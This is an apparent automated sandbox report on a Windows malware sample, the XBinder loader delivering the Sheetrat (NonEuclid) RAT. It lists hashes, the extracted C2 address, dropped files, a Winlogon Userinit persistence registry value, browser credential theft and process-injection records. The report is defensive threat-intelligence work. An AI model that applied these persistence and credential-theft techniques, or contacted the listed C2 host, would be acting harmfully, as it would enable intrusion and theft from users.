sheetrat | b1f4158f00e0bce795a110d6f4840e14b1a7b99b1b6b6f41175f5ed639f87f8a

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 21:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
XBinderOutput.exe
Size 827KB
Sample260716-1btnesev4n
SHA256 b1f4158f00e0bce795a110d6f4840e14b1a7b99b1b6b6f41175f5ed639f87f8a
MD5 9861df936c892dea40dc0fb34e8f6782
SHA1 b8e9038d38bda22e4bde694ac4e5285a75b2dc49
SHA512 eac5f0be8467ee98c63c1e5de0b4b655a90dbece77713b45ce3ce6f2ea0b9a7b585de37250bb34edddda0801f00bb4255f16755b79cef42ae77c5f3148701a64
SSDEEP 24576:dfRRhfgjk9EjY6FD6EHX2pnZZUxlSKOtNIduW:dJDfgjsCYm6EYnkjO7Qu
TLSH
T10B0533C154EA2B68E5662C34DE9344C3297851FCDAF74E023F6C87AC9D0E78E44F2A64
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

costura discovery execution sheetrat xbinder loader packer persistence privilege_escalation spyware stealer trojan upx

Malware Config

Extracted

Family

xbinder

Mutex

9el22sDlo2FIqEFpe

Attributes

primary_drop_directory
%Temp%
primary_execute
true
primary_hidden_file
false
primary_resource_name
cheaasd.exe
secondary_drop_directory
%Temp%
secondary_execute
true
secondary_hidden_file
false
secondary_resource_name
HolyCheck.exe

Extracted

Family

sheetrat

Version

91.92.42.94:1105

Signatures

Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
trojan sheetrat
Family: XBinder
XBinder is a crypter and loader delivering a wide variety of malware, written in C#.
loader xbinder

Detects Sheetrat obfuscated V1.8 and higher 2 IoCs

Sheetrat aka NonEuclid RAT is a trojan written in C#.

resource	yara_rule
behavioral2/files/0x000e00000001c569-8.dat	family_sheetrat_v4
behavioral2/memory/4492-20-0x0000000000440000-0x00000000004E2000-memory.dmp	family_sheetrat_v4

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Sub\\xdwdMalwareDef.exe"	cheaasd.exe

Detected Nirsoft tools 10 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/files/0x000f00000001c587-157.dat	Nirsoft
behavioral2/memory/5432-249-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/2340-259-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4972-262-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/1224-265-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/240-269-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4288-274-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/3208-279-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/2636-285-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/3196-291-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Executes dropped EXE 64 IoCs

pid	Process
4492	cheaasd.exe
4240	HolyCheck.exe
2492	xdwdMalwareDef.exe
5912	ExecutedProgramsList.exe
3824	BrowserDownloadsView.exe
5664	ExecutedProgramsList.exe
3016	BrowserDownloadsView.exe
5748	ExecutedProgramsList.exe
4264	BrowserDownloadsView.exe
2620	ExecutedProgramsList.exe
3100	BrowserDownloadsView.exe
3152	ExecutedProgramsList.exe
1264	BrowserDownloadsView.exe
5432	RecentFilesView.exe
2340	RecentFilesView.exe
5676	BrowserDownloadsView.exe
5856	ExecutedProgramsList.exe
4972	RecentFilesView.exe
2140	ExecutedProgramsList.exe
1600	BrowserDownloadsView.exe
5892	xdwdMalwareDef.exe
3068	xdwdMalwareDef.exe
2484	xdwdMalwareDef.exe
2716	xdwdMalwareDef.exe
3172	xdwdMalwareDef.exe
1360	xdwdMalwareDef.exe
820	xdwdMalwareDef.exe
4860	xdwdMalwareDef.exe
1224	RecentFilesView.exe
2840	ExecutedProgramsList.exe
4132	BrowserDownloadsView.exe
240	RecentFilesView.exe
5772	ExecutedProgramsList.exe
1156	BrowserDownloadsView.exe
4288	RecentFilesView.exe
700	ExecutedProgramsList.exe
4180	BrowserDownloadsView.exe
3208	RecentFilesView.exe
3992	ExecutedProgramsList.exe
2616	BrowserDownloadsView.exe
4856	ExecutedProgramsList.exe
2636	RecentFilesView.exe
1256	BrowserDownloadsView.exe
3196	RecentFilesView.exe
4172	ExecutedProgramsList.exe
1440	BrowserDownloadsView.exe
4108	xdwdMalwareDef.exe
3820	xdwdMalwareDef.exe
1856	xdwdMalwareDef.exe
1400	xdwdMalwareDef.exe
2528	xdwdMalwareDef.exe
1336	xdwdMalwareDef.exe
4852	xdwdMalwareDef.exe
5832	xdwdMalwareDef.exe
3768	xdwdMalwareDef.exe
5560	xdwdMalwareDef.exe
3908	xdwdMalwareDef.exe
2724	xdwdMalwareDef.exe
5672	xdwdMalwareDef.exe
5668	xdwdMalwareDef.exe
3352	xdwdMalwareDef.exe
3356	xdwdMalwareDef.exe
3456	xdwdMalwareDef.exe
4736	xdwdMalwareDef.exe

Loads dropped DLL 64 IoCs

pid	Process
2492	xdwdMalwareDef.exe
6056	Process not Found
5008	Process not Found
3956	powershell.exe
2584	Process not Found
3204	Process not Found
1228	Process not Found
616	Process not Found
5672	powershell.exe
1056	Process not Found
1764	Process not Found
2004	Process not Found
4624	Process not Found
4120	Process not Found
2968	Process not Found
1548	Process not Found
420	Process not Found
2568	Process not Found
4304	Process not Found
5944	powershell.exe
2936	Process not Found
3208	Process not Found
3132	Process not Found
596	Process not Found
5020	Process not Found
1752	Process not Found
5892	xdwdMalwareDef.exe
3068	xdwdMalwareDef.exe
2484	xdwdMalwareDef.exe
2716	xdwdMalwareDef.exe
3172	xdwdMalwareDef.exe
1360	xdwdMalwareDef.exe
820	xdwdMalwareDef.exe
4860	xdwdMalwareDef.exe
1904	Process not Found
5372	Process not Found
4008	Process not Found
920	Process not Found
5176	Process not Found
2672	Process not Found
5572	Process not Found
5148	Process not Found
1496	Process not Found
360	Process not Found
4892	Process not Found
2636	Process not Found
4488	Process not Found
1328	Process not Found
2332	Process not Found
3476	Process not Found
2524	Process not Found
5212	Process not Found
5956	Process not Found
2368	Process not Found
4992	Process not Found
3880	Process not Found
5180	Process not Found
4200	Process not Found
1708	Process not Found
1384	Process not Found
796	Process not Found
4752	Process not Found
5788	Process not Found
1652	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001000000001c5a1-239.dat	upx
behavioral2/memory/5432-241-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/5432-249-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/2340-259-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4972-262-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/1224-265-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/240-269-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4288-274-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/3208-279-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/2636-285-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/3196-291-0x0000000000400000-0x0000000000417000-memory.dmp	upx

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/memory/2492-188-0x000000001C380000-0x000000001C3F8000-memory.dmp	costura

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File created	C:\Windows\Sub\xdwdWindowsUpdate.exe	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\xdwd.dll	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File created	C:\Windows\Sub\xdwdMalwareDef.exe	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5944	powershell.exe
3956	powershell.exe
5672	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe

Modifies registry class 19 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	HolyCheck.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7024	schtasks.exe
3348	schtasks.exe
1152	schtasks.exe
6716	schtasks.exe
8008	schtasks.exe
6340	schtasks.exe
6228	schtasks.exe
1720	schtasks.exe
4700	schtasks.exe
4904	schtasks.exe
5560	schtasks.exe
4168	schtasks.exe
6240	schtasks.exe
4196	schtasks.exe
3156	schtasks.exe
5248	schtasks.exe
2880	schtasks.exe
6704	schtasks.exe
5092	schtasks.exe
7708	schtasks.exe
7960	schtasks.exe
8000	schtasks.exe
8052	schtasks.exe
6148	schtasks.exe
3064	schtasks.exe
5208	schtasks.exe
1548	schtasks.exe
1532	schtasks.exe
4128	schtasks.exe
616	schtasks.exe
5208	schtasks.exe
8156	schtasks.exe
844	schtasks.exe
5820	schtasks.exe
6728	schtasks.exe
1768	schtasks.exe
1396	schtasks.exe
1160	schtasks.exe
4920	schtasks.exe
4176	schtasks.exe
7728	schtasks.exe
7080	schtasks.exe
3760	schtasks.exe
3336	schtasks.exe
3876	schtasks.exe
1676	schtasks.exe
6132	schtasks.exe
5744	schtasks.exe
1952	schtasks.exe
7088	schtasks.exe
4812	schtasks.exe
7648	schtasks.exe
7476	schtasks.exe
244	schtasks.exe
6240	schtasks.exe
7860	schtasks.exe
4616	schtasks.exe
5756	schtasks.exe
240	schtasks.exe
2632	schtasks.exe
5072	schtasks.exe
2780	schtasks.exe
7988	schtasks.exe
4580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
3956	powershell.exe
5672	powershell.exe
5672	powershell.exe
5672	powershell.exe
5672	powershell.exe
5672	powershell.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 10 IoCs

pid	Process
4264	BrowserDownloadsView.exe
3100	BrowserDownloadsView.exe
1264	BrowserDownloadsView.exe
5676	BrowserDownloadsView.exe
4132	BrowserDownloadsView.exe
1156	BrowserDownloadsView.exe
4180	BrowserDownloadsView.exe
1256	BrowserDownloadsView.exe
1440	BrowserDownloadsView.exe
3196	RecentFilesView.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	4492	cheaasd.exe
Token: SeDebugPrivilege	2492	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	2492	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5672	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	5892	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3068	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2484	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2716	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3172	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1360	xdwdMalwareDef.exe
Token: SeDebugPrivilege	820	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4860	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4108	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3820	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2528	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1856	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2724	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1336	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5832	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1400	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3768	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3908	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4736	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4852	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1056	xdwdMalwareDef.exe
Token: SeDebugPrivilege	6096	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5672	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5668	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2148	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4980	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3176	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5560	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3356	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3456	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1288	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3352	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4612	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1212	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3268	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4136	xdwdMalwareDef.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3596 wrote to memory of 4492	3596	XBinderOutput.exe	87
PID 3596 wrote to memory of 4240	3596	XBinderOutput.exe	88
PID 4492 wrote to memory of 4880	4492	cheaasd.exe	91
PID 4492 wrote to memory of 2596	4492	cheaasd.exe	92
PID 2596 wrote to memory of 4580	2596	cmd.exe	95
PID 4492 wrote to memory of 1628	4492	cheaasd.exe	96
PID 1628 wrote to memory of 844	1628	cmd.exe	98
PID 4240 wrote to memory of 3312	4240	HolyCheck.exe	99
PID 4240 wrote to memory of 4444	4240	HolyCheck.exe	100
PID 4240 wrote to memory of 4932	4240	HolyCheck.exe	101
PID 4492 wrote to memory of 2492	4492	cheaasd.exe	105
PID 4240 wrote to memory of 3456	4240	HolyCheck.exe	106
PID 4240 wrote to memory of 3956	4240	HolyCheck.exe	108
PID 4240 wrote to memory of 2852	4240	HolyCheck.exe	110
PID 2492 wrote to memory of 2992	2492	xdwdMalwareDef.exe	112
PID 2492 wrote to memory of 1080	2492	xdwdMalwareDef.exe	114
PID 2992 wrote to memory of 3708	2992	cmd.exe	115
PID 4240 wrote to memory of 5672	4240	HolyCheck.exe	116
PID 1080 wrote to memory of 3348	1080	cmd.exe	119
PID 4240 wrote to memory of 5912	4240	HolyCheck.exe	120
PID 4240 wrote to memory of 3824	4240	HolyCheck.exe	121
PID 4240 wrote to memory of 5664	4240	HolyCheck.exe	122
PID 4240 wrote to memory of 3016	4240	HolyCheck.exe	123
PID 2492 wrote to memory of 3964	2492	xdwdMalwareDef.exe	124
PID 3964 wrote to memory of 1224	3964	cmd.exe	126
PID 2492 wrote to memory of 5780	2492	xdwdMalwareDef.exe	127
PID 5780 wrote to memory of 4196	5780	cmd.exe	129
PID 4240 wrote to memory of 5748	4240	HolyCheck.exe	130
PID 4240 wrote to memory of 4264	4240	HolyCheck.exe	131
PID 2492 wrote to memory of 3404	2492	xdwdMalwareDef.exe	132
PID 2492 wrote to memory of 1432	2492	xdwdMalwareDef.exe	133
PID 1432 wrote to memory of 3156	1432	cmd.exe	136
PID 3404 wrote to memory of 1768	3404	cmd.exe	137
PID 2492 wrote to memory of 1588	2492	xdwdMalwareDef.exe	139
PID 1588 wrote to memory of 1532	1588	cmd.exe	141
PID 2492 wrote to memory of 1220	2492	xdwdMalwareDef.exe	142
PID 1220 wrote to memory of 3476	1220	cmd.exe	144
